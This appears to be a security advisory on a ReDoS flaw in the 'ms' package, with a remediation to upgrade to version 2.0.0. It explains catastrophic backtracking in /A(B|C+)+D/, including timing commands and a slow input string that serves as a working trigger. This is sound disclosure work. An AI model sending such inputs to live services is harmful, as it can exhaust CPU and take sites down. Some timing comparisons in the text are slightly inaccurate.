The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ms to version 2.0.0 or higher.

References